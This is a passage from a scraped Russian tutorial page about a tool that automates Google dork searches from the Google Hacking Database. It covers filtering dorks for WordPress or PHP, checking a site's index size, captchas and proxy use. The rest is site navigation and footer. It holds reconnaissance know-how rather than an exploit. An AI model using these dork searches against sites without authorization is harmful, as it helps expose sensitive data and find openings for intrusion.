wordpress_dords.txt –f банк попробуем найти что-нибудь интересное, связанное с wordpress (см. рисунок 12).<br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy><br> Рисунок 12 – Поиск уязвимостей Wordpress</p><p>Стоит заметить, что поиск на Google Hack Database не воспринимает слова короче 4 символов. Например, если CMS сайта не известна, но известен язык - PHP. В таком случае можно отфильтровать нужное вручную с помощью пайпа и системной утилиты поиска dorks –c all | findstr /I php > php_dorks.txt (см. рисунок 13):<br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy><br> Рисунок 13 – Поиск по всем доркам, где есть упоминание PHP</p><p>Поиск уязвимостей или какой-то чувствительной информации в поисковой системе следует искать только в случае если по данному сайту есть значительный индекс. Например, если у сайта проиндексировано 10-15 страниц, то глупо что-либо искать подобным образом. Проверить размер индекса просто - достаточно ввести в строку поиска google «site:somesite.com». Пример сайта с недостаточным индексом показан на рисунке 14.<br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy><br> Рисунок 14 – Проверка размера индекса сайта</p><p>Теперь о неприятном… Периодически google может запросить каптчу - тут ничего не поделать - её придется ввести. Например, у меня, при переборе категории «Error Messages» (90 дорков) каптча выпала только один раз.</p><p>Стоит добавить, что phantomjs поддерживает работу так же и через прокси, как через http, так и через socks интерфейс. Для включения режима прокси надо раскоментировать соответствующую строку в dorks.bat или dorks.sh.</p><p>Инструмент доступен в виде исходного кода</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy>");</script> </DIV> <TR height="5"><TD class="content-bot"></TD></TR> </TABLE> </TD> <TD class="sep"></TD> <TD class="side"> <img src="https://tassr90.ru/wp-content/themes/delairem/images/space.gif" width="1" height="18" border="0" alt="" loading=lazy> <TABLE width="280" cellpadding="0" cellspacing="0" border="0"> <TR height="45"> <TD class="side-top" vAlign="top"> <DIV class="title-side">КАТЕГОРИИ</DIV> </TD> </TR> <TR vAlign="top"> <TD class="side-mid"> <TABLE cellpadding="0" cellspacing="0" border="0"> <TR vAlign="top"> <TD class="category"> <DIV class="category"><a href="/category/android/" class="category">Android</a></DIV> </TD> </TR> <TR vAlign="top"> <TD class="category"> <DIV class="category"><a href="/category/androidios/" class="category">Android/iOS</a></DIV> </TD> </TR> <TR vAlign="top"> <TD class="category"> <DIV class="category"><a href="/category/ios/" class="category">Ios</a></DIV> </TD> </TR> <TR vAlign="top"> <TD class="category"> <DIV class="category"><a href="/category/windows/" class="category">Windows</a></DIV> </TD> </TR> <TR vAlign="top"> <TD class="category"> <DIV class="category"><a href="/category/windows/" class="category">Windows </a></DIV> </TD> </TR> </TABLE> </TD> </TR> <TR height="5"> <TD class="side-bot"></TD> </TR> </TABLE> <br> <TABLE width="280" cellpadding="0" cellspacing="0" border="0"> <TR height="45"> <TD class="side-top" vAlign="top"> <DIV class="title-side">ПОПУЛЯРНЫЕ СТАТЬИ</DIV> </TD> </TR> <TR vAlign="top"> <TD class="side-mid"> <div class="side"> <noindex> <TABLE width="240" cellpadding="0" cellspacing="0" border="0"> <TR height="90" vAlign="middle"> <TD class="p1"> <a href="/terms/chto-takoe-avatar-v-internete-i-socialnyh-setyah-pravilnoe/"><img src="/uploads/f5bf74c913c8d4a524ac670bf2701528.jpg" width="70" height="70" border="0" alt="Правильное оформление групп в социальных сетях Что такое ава в одноклассниках" align="left" class="round" loading=lazy></a> </TD> <TD class="p2"> <p><a href="/terms/chto-takoe-avatar-v-internete-i-socialnyh-setyah-pravilnoe/">Правильное оформление групп в социальных сетях Что такое ава в одноклассниках</a></p> </TD> </TR> <TR height="90" vAlign="middle"> <TD class="p1"> <a href="/lessons/chto-takoe-zhestkii-disk-usb-vneshnii-zhestkii-disk-chto-eto-za-ustroistvo-dlya/"><img src="/uploads/bc556104983639234022681f1dd20840.jpg" width="70" height="70" border="0" alt="Внешний жесткий диск: что это за устройство, для чего оно нужно и как правильно выбрать" align="left" class="round" loading=lazy></a> </TD> <TD class="p2"> <p><a href="/lessons/chto-takoe-zhestkii-disk-usb-vneshnii-zhestkii-disk-chto-eto-za-ustroistvo-dlya/">Внешний жесткий диск: что это за устройство, для чего оно нужно и как правильно выбрать</a></p> </TD> </TR> <TR height="90" vAlign="middle"> <TD class="p1"> <a href="/windows/vyu-tub-kak-skachat-s-youtube-lyuboi-rolik-s-pomoshchyu-odnoi-klavishi-kak/"><img src="/uploads/0c180d498a76ccdbd736a287563ac3bc.jpg" width="70" height="70" border="0" alt="Как скачать с YouTube любой ролик с помощью одной клавиши" align="left" class="round" loading=lazy></a> </TD> <TD class="p2"> <p><a href="/windows/vyu-tub-kak-skachat-s-youtube-lyuboi-rolik-s-pomoshchyu-odnoi-klavishi-kak/">Как скачать с YouTube любой ролик с помощью одной клавиши</a></p> </TD> </TR> <TR height="90" vAlign="middle"> <TD class="p1"> <a href="/windows/samorazvitie-samorazvitie-umnye-servisy-dlya-umnyh-lyudei/"><img src="/uploads/03c2dba09db382e2e00cc571c2812141.jpg" width="70" height="70" border="0" alt="Саморазвитие Умные сервисы для умных людей" align="left" class="round" loading=lazy></a> </TD> <TD class="p2"> <p><a href="/windows/samorazvitie-samorazvitie-umnye-servisy-dlya-umnyh-lyudei/">Саморазвитие Умные сервисы для умных людей</a></p> </TD> </TR> <TR height="90" vAlign="middle"> <TD class="p1"> <a href="/reviews/chto-takoe-php-i-kak-s-ego-pomoshchyu-mozhno-zarabotat-kak-zarabotat-na/"><img src="/uploads/8f60ff0eff1bfa9c0f984d28d3ea6e55.jpg" width="70" height="70" border="0" alt="Как заработать на знании PHP?" align="left" class="round" loading=lazy></a> </TD> <TD class="p2"> <p><a href="/reviews/chto-takoe-php-i-kak-s-ego-pomoshchyu-mozhno-zarabotat-kak-zarabotat-na/">Как заработать на знании PHP?</a></p> </TD> </TR> </TABLE> </noindex> </div> </TD> </TR> <TR> <TD class="side-bot"><div id="xoxema1" style="height:500px;width:279px;" align="center"></div></TD> </TR> </TABLE> </TD> </TR> </TABLE> <br> <TABLE width="940" cellpadding="0" cellspacing="0" border="0"> <TR height="70" vAlign="top"> <TD width="60" align="left"> <DIV class="copy"><IMG SRC="https://tassr90.ru/wp-content/themes/delairem/images/copy.jpg" WIDTH="32" HEIGHT="32" BORDER="0" ALT=""></DIV> </TD> <TD width="200" align="left"> <DIV class="copy1"> © 2024 «tassr90.ru» — Полезные компьютерные советы </DIV> </TD> <TD width="140" align="left"> <DIV class="copy2"> <ul class="footer-ul"> <li class="gplus"> <noindex><a href="/feedback/" target="_blank">Контакты</a></noindex> </li> <li class="smaps"><a href="/sitemap.xml">Карта сайта</a></li> </ul> </DIV> </TD> <TD width="240" align="left"> <DIV class="copy3"> </DIV> </TD> <TD width="280" align="left"> <DIV class="counters"> <noindex> </noindex> </DIV> </TD> </TR> </TABLE> </center> <div id="wpfront-scroll-top-container"><img src="https://tassr90.ru/wp-content/themes/delairem/images/arrr.png" alt="" / loading=lazy></div> <script type="text/javascript">if(typeof wpfront_scroll_top == "function") wpfront_scroll_top({ "scroll_offset":2000,"button_width":0,"button_height":0,"button_opacity":0.8,"button_fade_duration":200,"scroll_duration":400,"location":1,"marginX":30,"marginY":30,"hide_iframe":false,"auto_hide":false,"auto_hide_after":2} );</script><link rel='stylesheet' id='yarppRelatedCss-css' href='/wp-content/plugins/yet-another-related-posts-plugin/style/related.css?ver=4.6.9' type='text/css' media='all' /> <script type='text/javascript' src='https://tassr90.ru/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20'></script> <script type='text/javascript' src='https://tassr90.ru/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=4.5.1'></script> <script type='text/javascript' src='https://tassr90.ru/wp-content/plugins/wp-postviews/postviews-cache.js?ver=1.68'></script> <script type='text/javascript' src='/wp-includes/js/wp-embed.min.js?ver=4.6.9'></script> </BODY> </HTML>